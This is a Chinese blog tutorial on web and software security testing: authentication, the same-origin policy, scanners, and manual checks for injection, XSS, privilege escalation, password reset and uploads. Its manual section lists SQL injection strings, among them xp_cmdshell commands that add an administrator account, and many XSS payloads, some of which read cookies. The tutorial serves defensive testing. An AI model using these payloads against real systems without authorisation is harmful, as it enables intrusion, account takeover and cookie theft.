安全测试的考虑点及测试方法

软件安全性测试主要包括程序、数据库安全性测试。根据系统安全指标不同测试策略也不同。

用户认证安全的测试要考虑问题:

1.明确区分系统中不同用户权限

2.系统中会不会出现用户冲突

3.系统会不会因用户的权限的改变造成混乱

4.用户登陆密码是否是可见、可复制

5.是否可以通过绝对途径登陆系统(拷贝用户登陆后的链接直接进入系统)

6.用户推出系统后是否删除了所有鉴权标记,是否可以使用后退键而不通过输入口令进入系统

系统网络安全的测试要考虑问题:

1.测试采取的防护措施是否正确装配好,有关系统的补丁是否打上

2.模拟非授权攻击,看防护系统是否坚固

3.采用成熟的网络漏洞检查工具检查系统相关漏洞(即用最专业的黑客攻击工具攻击试一下,现在最常用的是 NBSI系列和 IPhacker IP )

4.采用各种木马检查工具检查系统木马情况

5.采用各种防外挂工具检查系统各组程序的客外挂漏洞

数据库安全考虑问题:

1.系统数据是否机密(比如对银行系统,这一点就特别重要,一般的网站就没有太高要求)

2.系统数据的完整性(我刚刚结束的企业实名核查服务系统中就曾存在数据的不完整,对于这个系统的功能实现有了障碍)

3.系统数据可管理性

4.系统数据的独立性

5.系统数据可备份和恢复能力(数据备份是否完整,可否恢复,恢复是否可以完整)

浏览器安全

同源策略:不同源的“document”或脚本,不能读取或者设置当前的“document”

同源定义:host(域名,或者IP),port(端口号),protocol(协议)三者一致才属于同源。

要注意的是,同源策略只是一种策略,而非实现。这个策略被用于一些特定的点来保护web的安全。

<script>,<img>,<iframe>,<link>等标签都可以跨域加载资源,不受同源策略的限制。

XMLHttpRequest,DOM,cookie受到同源策略的限制。

网站可以通过提供crossdomain.xml来允许某些源跨域访问自己的资源。

google chrome使用了多进程来隔离代码运行的环境,从而起到提高web安全的作用

Q & A

Q:cookie为什么需要同源策略?

A:cookie有同源策略是必须的,这样可以保证A网站的用户(识别)信息不会被B网站获取到

Q:XMLHttpRequest为什么需要同源策略?

A:两个例子:

(1)加入没有同源策略,某个网站的某张页面被你写入了一些js ,这些js有些ajax操作,如果某个用户访问了这张页面,你的js就可以获得用户的某些信息(cookie,本地文件等)然后通过ajax发送回你的服务器。 这就是安全问题,信息泄漏。

其实这个就是XSS攻击,为了防止XSS攻击后,用ajax请求返回用户敏感信息。但是其实XSS的攻击仅靠XMLHttpRequest的同源策略根本没用,后面的章节会看到。这也许是当时XSS还没那么丰富的时候,还算比较有效的安全策略。

(2)先假设浏览器没有限制跨域,A站的xhr请求B站的一个url,那么浏览器是要带上谁家的cookie一起请求呢?(每次http请求都要带上该站下的所有cookie)显然是B家的。假设B家的网站当前用户已经登录,那么cookie里自然记录下了sessionId相关的东西以标识当前用户的身份,那么本次xhr请求很easy的通过了身份认证,然后后果就是不堪设想的。

这个就很正确,如果A可以用xhr跨站访问B,带着B的cookie自然可以通过B网站的验证,从而获取到敏感数据。所以这点是关键。

网络安全学习资源分享:

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

在这里插入图片描述

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

因篇幅有限,仅展示部分资料,需要点击上方链接即可获取

web安全测试方法:

工具扫描

目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。

商业软件web安全扫描器:有IBM Rational Appscan、WebInspect、Acunetix WVS

免费的扫描器:W3af 、Skipfish 等

根据业务资金,可以考虑购买商业扫描软件,也可以使用免费的,各有各的好处。

首页可以对网站进行大规模的扫描操作,工具扫描确认没有漏洞或者漏洞已经修复后,再进行以下手工检测。

手工检测

对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。

手工检测网站URL、后台登陆是否具有SQL注入

Admin--

‘or --

‘ and ( ) exec insert * % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

XSS:对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。(但是软件没有完美的,也有误报,或者有遗漏的情况)

对于POST的请求的(例如留言板,评论,等等),就是要在输入框输入的情况,则要进行以下测试

 ★~!@#$%^&*()_+<>,./?;'"[]{}\-

 ★%3Cinput /%3E

 ★%3Cscript%3Ealert('XSS')%3C/script%3E

 ★<input type="text"/>

 ★<input/>

 ★<input/ 

 ★<script>alert('xss')</script>

 ★<script>alert('xss');</script>

 ★</script><script>alert(‘xss’)</script>

 ★javascript:alert(/xss/)

 ★javascript:alert(/xss/)

 ★<img src="#" οnerrοr=alert(/xss/)>

 ★<img src="#" style="Xss:expression(alert(/xss/));">

 ★<img src="#"/**/οnerrοr=alert(/xss/) width=100>

 ★=’><script>alert(document.cookie)</script>

 ★1.jpg" οnmοuseοver="alert('xss')

 ★"></a><script>alert(‘xss’);</script>

 ★http://xxx';alert('xss');var/ a='a

 ★’”>xss&<

 ★"οnmοuseοver=alert('hello');"

 ★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;

%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body οnlοad="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

 ★<!--'">&:

  var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = ”;hackerFunction(document.cookie);”;

上面这些同样适用于GET请求

经过以上测试,如果发现输入框代码溢出,则说明可能存在XSS漏洞,说明要进行过滤.

关于越权操作的问题

例如A用户的个人资料ID为1 B用户个人资料ID为2,我通过登陆B用户,把ID修改为1 就可以查看到用户A的个人资料,这就是越权。

测试方法:通过查看URL的get参数对那些类似明显的顺序数字 进行修改,看是否能越权访问。

关于登陆安全的问题

除了SQL注入,还有找回密码功能会出现安全问题

邮箱找回密码测试方法:

先从邮箱参数修改开始,看填入用户名和自己修改的邮箱账号,看是否能收到邮箱,收到后是否能修改。

如果不能修改邮箱参数那么,我们就让它邮箱找回,接着点击邮箱内修改密码的链接,看链接的邮箱参数是否可以修改,用户名是否可以修改,加密的urlcode 是否可以逆向解密。

如果是手机找回密码功能:则测试手机收到的验证码是否是纯数字、纯字母的,如果是请修改为字母与数字的组合。

关于用开源程序的问题

关注网上你所用的开源程序的官网更新情况和安全事件。

关于上传:

1.上传文件是否有格式限制,是否可以上传exe文件;

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:

避免输入:\..\web.

修改命名后缀。

输入验证

客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

1.输入很大的数(如4,294,967,269),输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|

4.输入中英文空格,输入字符串中间含空格,输入首尾空格

5.输入特殊字符串NULL,null,0x0d 0x0a

6.输入正常字符串

7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

例如:

1.输入<html”>”gfhd</html>,看是否出错;

2.输入<input type=”text” name=”user” οnclick="alert(1)"/>,看是否出现文本框;

3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

4.输入”><script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

5.输入 ”><script><” 看是否出现代码溢出

页面权限泄露

测试在不登陆的情况下是否可以访问到后台的页面,这个只要把后台的目录的URL全部浏览一遍即可

 👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
安全测试是一种评估应用程序、网络系统是否存在安全漏洞和潜在威胁的方法。在进行安全测试时,需要考虑以下几个方面: 1. 漏洞扫描:对应用程序、网络系统进行漏洞扫描是安全测试的基础,通过使用自动化工具,可以检测出许多已知的漏洞。 2. 渗透测试:渗透测试是模拟攻击者试图进入系统并获取未经授权的访问权限的过程。渗透测试可以测试系统安全性,并找到任何潜在的弱。 3. 身份验证和授权测试:身份验证和授权测试可以测试系统是否正确地实现了身份验证和授权功能。这包括测试密码策略、访问控制列表(ACL)等。 4. 数据保护测试:数据保护测试可以测试系统是否正确地保护敏感数据。这包括测试数据加密、数据备份和数据恢复等。 5. 安全配置测试:安全配置测试可以测试系统是否正确地配置了安全设置。这包括测试网络系统设置、防火墙规则、日志记录设置等。 6. 社会工程测试:社会工程测试是评估组织是否易受社会工程攻击的过程。这包括测试员工是否易受钓鱼攻击、是否容易泄露密码等。 7. 应用程序安全测试:应用程序安全测试可以测试应用程序是否存在安全漏洞,如跨站脚本(XSS)、SQL注入、文件包含漏洞等。 8. 网络安全测试:网络安全测试可以测试网络架构、协议和设备是否存在漏洞和潜在威胁,如拒绝服务攻击、网络嗅探、中间人攻击等。 以上是安全测试的一些方面,进行安全测试时还需要考虑特定的应用场景和需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值